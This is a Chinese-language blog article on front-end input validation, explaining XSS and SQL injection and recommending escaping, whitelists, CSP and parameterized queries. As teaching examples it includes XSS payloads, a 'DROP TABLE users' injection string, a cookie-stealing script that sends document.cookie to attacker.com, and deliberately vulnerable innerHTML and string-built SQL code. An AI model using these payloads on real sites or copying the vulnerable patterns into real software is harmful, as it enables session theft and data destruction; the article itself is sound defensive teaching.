您现在的位置是:网站首页 > 不验证输入(SQL 注入?XSS?无所谓)文章详情
不验证输入(SQL 注入?XSS?无所谓)
陈川
【
前端综合
】
25316人已围观
4250字
不验证输入(SQL 注入?XSS?无所谓)
前端开发中,输入验证经常被忽视。用户输入的数据直接进入系统,没有任何过滤或转义,导致各种安全漏洞。SQL 注入、XSS 攻击等问题层出不穷,但很多人依然觉得无所谓。
用户输入的危险性
用户输入的数据永远不可信。无论是表单提交、URL 参数还是 Cookie 数据,都可能包含恶意代码。例如:
// 假设从 URL 获取参数并直接显示
const search = new URLSearchParams(window.location.search).get('q');
document.getElementById('result').innerHTML = `你搜索的是: ${search}`;
如果 URL 是 ?q=<script>alert('XSS')</script>
,页面就会执行这段脚本。攻击者可以利用这种方式窃取用户 Cookie 或其他敏感信息。
SQL 注入的简单示例
虽然 SQL 注入主要发生在后端,但前端不验证输入也会间接导致问题:
// 前端代码
const userId = document.getElementById('user-id').value;
fetch(`/api/user?id=${userId}`)
.then(response => response.json())
.then(data => console.log(data));
如果用户输入 1; DROP TABLE users;--
,而后端没有做参数化查询,就可能造成灾难性后果。
XSS 攻击的多种形式
XSS 不仅限于 <script>
标签。以下都是危险的模式:
<!-- 内联事件 -->
<div onclick="alert('${userInput}')">点击我</div>
<!-- 图片标签 -->
<img src="x" onerror="${userInput}" />
<!-- CSS 表达式 -->
<div style="background: expression(${userInput})"></div>
即使用户输入不包含显式脚本,也可能通过 HTML 属性触发代码执行。
现代前端框架的假安全
很多人认为使用 React、Vue 等框架就自动防 XSS:
function Welcome() {
const name = new URLSearchParams(window.location.search).get('name');
return <h1>Hello {name}</h1>;
}
但框架只在默认情况下安全。如果使用 dangerouslySetInnerHTML
或 v-html
,风险依然存在:
<div dangerouslySetInnerHTML={{__html: userContent}} />
输入验证的常见误区
开发者常犯的错误包括:
- 只在客户端验证
// 前端验证
if (password.length < 6) {
alert('密码太短');
}
攻击者可以完全绕过前端验证直接发送请求。
- 黑名单过滤
// 错误做法:只过滤 <script>
const safeInput = input.replace('<script>', '');
攻击者可以使用大小写变形、unicode 编码等方式绕过。
正确的防御方法
多层防御策略才是关键:
- 输入验证
// 白名单验证
function isValidUsername(username) {
return /^[a-z0-9_-]{3,16}$/.test(username);
}
- 输出编码
// HTML 转义
function escapeHtml(unsafe) {
return unsafe
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'");
}
- 使用 CSP 策略
<meta http-equiv="Content-Security-Policy" content="default-src 'self'">
实际案例分析
某社交网站的个人简介字段存在漏洞:
// 从API获取数据
fetch('/api/profile')
.then(res => res.json())
.then(data => {
document.querySelector('.bio').innerHTML = data.bio;
});
攻击者提交的简介包含:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
因为没有转义输出,所有查看该用户资料的人都会被窃取 Cookie。
性能与安全的权衡
有人认为输入验证会影响性能:
// 不安全的快速方案
function renderComment(comment) {
return `<div class="comment">${comment}</div>`;
}
// 安全的较慢方案
function renderComment(comment) {
const safeComment = escapeHtml(comment);
return `<div class="comment">${safeComment}</div>`;
}
但实际上,现代 JavaScript 引擎的转义操作开销可以忽略不计。
开发者的常见借口
-
"我们的用户很少,不会被攻击"
- 自动化工具会扫描全网寻找漏洞
-
"我们有防火墙"
- WAF 可能被绕过,且无法防御存储型 XSS
-
"这是后端的责任"
- 安全需要前后端共同负责
自动化测试的重要性
应该建立自动化安全测试:
// 使用 Jest 测试 XSS 防护
test('escapeHtml should neutralize XSS', () => {
const malicious = '<script>alert(1)</script>';
expect(escapeHtml(malicious)).not.toContain('<script>');
});
安全编码的最佳实践
- 对所有不可信数据进行编码
- 使用参数化查询与 ORM
- 实施严格的 CSP
- 定期进行安全审计
- 保持依赖项更新
框架特定的安全建议
React:
- 避免使用
dangerouslySetInnerHTML
- 使用
react-dom/server
的escape
方法
Vue:
- 避免使用
v-html
- 使用
vue-sanitize
插件
Angular:
- 默认自动转义
- 使用
DomSanitizer
处理可信内容
浏览器内置的安全机制
现代浏览器提供一些保护:
- HttpOnly Cookie
Set-Cookie: session=123; HttpOnly
- SameSite Cookie
Set-Cookie: session=123; SameSite=Strict
- X-XSS-Protection 头
X-XSS-Protection: 1; mode=block
但这些不能替代正确的输入验证和输出编码。
真实世界的影响
不验证输入可能导致:
- 用户数据泄露
- 网站被挂马
- SEO 垃圾内容
- 法律诉讼
- 品牌声誉受损
开发流程中的安全集成
- 代码审查时检查安全处理
- 在 CI/CD 管道中加入安全扫描
- 使用依赖项漏洞检查工具
- 进行定期的渗透测试
安全资源的匮乏
很多教程和示例代码忽略安全:
// 常见的危险示例
app.get('/search', (req, res) => {
db.query(`SELECT * FROM products WHERE name LIKE '%${req.query.q}%'`, (err, results) => {
res.send(results);
});
});
开发者复制这些代码时,不知不觉引入了漏洞。
渐进式安全改进
如果遗留系统难以全面改造,可以逐步改进:
- 先修复最危险的漏洞
- 添加监控和日志
- 逐步替换危险函数
- 培训开发团队
安全意识的培养
开发团队应该:
- 定期进行安全培训
- 分享安全事件分析
- 建立安全编码规范
- 奖励发现漏洞的成员
输入验证的未来
新兴技术可能改善安全性:
- WebAssembly 沙盒
- 更严格的 CSP
- 自动安全代码生成
- AI 辅助漏洞检测
但基本的安全原则不会改变:永远不要信任用户输入。
下一篇: 内存泄漏无所谓(“反正用户会刷新页面”)